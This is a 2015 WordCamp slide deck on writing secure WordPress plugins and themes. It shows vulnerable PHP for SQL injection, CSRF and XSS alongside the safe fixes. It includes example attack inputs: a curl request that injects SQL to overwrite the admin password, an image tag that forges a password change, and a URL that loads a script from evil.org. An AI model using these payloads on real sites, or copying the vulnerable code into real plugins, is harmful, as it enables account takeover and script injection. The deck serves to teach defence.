WordCamp Orlando 2015

Defence against the Dark Arts

Writing secure WordPress plugins and themes

Jonathan Brinley

Modern Tribe

Flightless

Trust
No One

Image credit: catgoesmurp on Flickr • https://flic.kr/p/5UqNgB

Sanitize
Validate
Escape

Image credit: Kevin Poh on Flickr • https://flic.kr/p/o3iijT

Suspect Data

  • Form inputs
  • URLs
  • Cookies
  • HTTP headers
  • API responses
  • Database responses
  • apply_filters() results
  • Translations
Image credit: Jon Fife on Flickr • https://flic.kr/p/24JhkM

SQL Injection

Exploits of a Mom
Exploits of a Mom • https://xkcd.com/327/

$wpdb->query( "UPDATE {$wpdb->users}
               SET display_name='" . $_POST['new_name'] . "'
               WHERE ID=" . get_current_user_id() );

$wpdb->query( "UPDATE {$wpdb->users}
               SET display_name='" . $_POST['new_name'] . "'
               WHERE ID=" . get_current_user_id() );
curl -XPOST \
--data "new_name=Beneficent" \
http://example.com/vulnerable/form/

UPDATE wp_users
SET display_name='Beneficent'
WHERE ID=3

$wpdb->query( "UPDATE {$wpdb->users}
               SET display_name='" . $_POST['new_name'] . "'
               WHERE ID=" . get_current_user_id() );
curl -XPOST \
--data "new_name=Maleficent', user_pass%3D'abcdefg' WHERE ID%3D1 -- " \
http://example.com/vulnerable/form/

UPDATE wp_users
SET display_name='Maleficent', user_pass='abcdefg'
WHERE ID=1 -- ' WHERE ID=3

$wpdb->prepare()


$wpdb->query( $wpdb->prepare(
  "UPDATE {$wpdb->users} SET display_name=%s WHERE ID=%d",
  $_POST['new_name'],
  get_current_user_id()
) );

$wpdb->update()


$wpdb->update(
  $wpdb->users,                             // table
  [ 'display_name' => $_POST['new_name'] ], // data
  [ 'ID' => get_current_user_id() ],        // where
  [ '%s' ],                                 // data format
  [ '%d' ]                                  // where format
);

Escaping SQL Queries

  • $wpdb->prepare()
  • $wpdb->esc_like()
  • $wpdb->escape_by_ref()
  • esc_sql()
  • $wpdb->insert()
  • $wpdb->update()
  • $wpdb->delete()

https://codex.wordpress.org/Data_Validation

Image credit: Ioan Sameli on Flickr • https://flic.kr/p/dG9Q1

CSRF

Cross-Site Request Forgery


<input type="hidden" name="action" value="set_pwd" /> <input type="password" name="pwd" value="" />

if ( $_GET['action'] == 'set_pwd' && !empty( $_GET['pwd'] ) {
  wp_set_password( $_GET['pwd'], get_current_user_id() );
}
			
<img src="//example.com/?action=set_pwd&pwd=abcdefg" />

nonce


<?php wp_nonce_field( 'set_pwd' ); ?> <input type="hidden" name="action" value="set_pwd" /> <input type="password" name="pwd" value="" />

if ( $_POST['action'] == 'set_pwd' && !empty( $_POST['pwd'] ) {
  check_admin_referer( 'set_pwd' ); // will die() on failure
  wp_set_password( $_POST['pwd'], get_current_user_id() );
}
			
Image credit: Simon Waldherr on Flickr • https://flic.kr/p/xPYH6X

Creating Nonces

  • wp_create_nonce()
  • wp_nonce_field()
  • wp_nonce_url()

Verifying Nonces

  • wp_verify_nonce()
  • check_admin_referer()
  • check_ajax_referer()

https://css-tricks.com/wordpress-front-end-security-csrf-and-nonces/

XSS

Cross-Site Scripting


echo '
    '; foreach ( most_popular_urls() as $url ) { printf( '
  • %s
  • ', $url ); } echo '
';
http://example.com/?s=<script%20src%3D"//evil.org/exploit.js"></script>

echo '
    '; foreach ( most_popular_urls() as $url ) { printf( '
  • %s
  • ', esc_url( $url ) ); } echo '
';

Escaping

  • esc_url()
  • esc_html()
  • strip_tags()
  • esc_attr()
  • esc_textarea()
  • esc_js()
  • wp_kses()
  • wp_kses_posts()
  • wp_kses_data()

https://codex.wordpress.org/Data_Validation

Image credit: Arlington County on Flickr • https://flic.kr/p/7zg6GJ

Demonstration

dragon attack

Resources

www.owasp.org/

WordPress Codex

Data Validation

Validating, Sanitizing, and Escaping User Data

Hardening WordPress

Jonathan Brinley

http://xplus3.net/ • jonathan@tri.be • @jbrinley

Modern Tribe

Flightless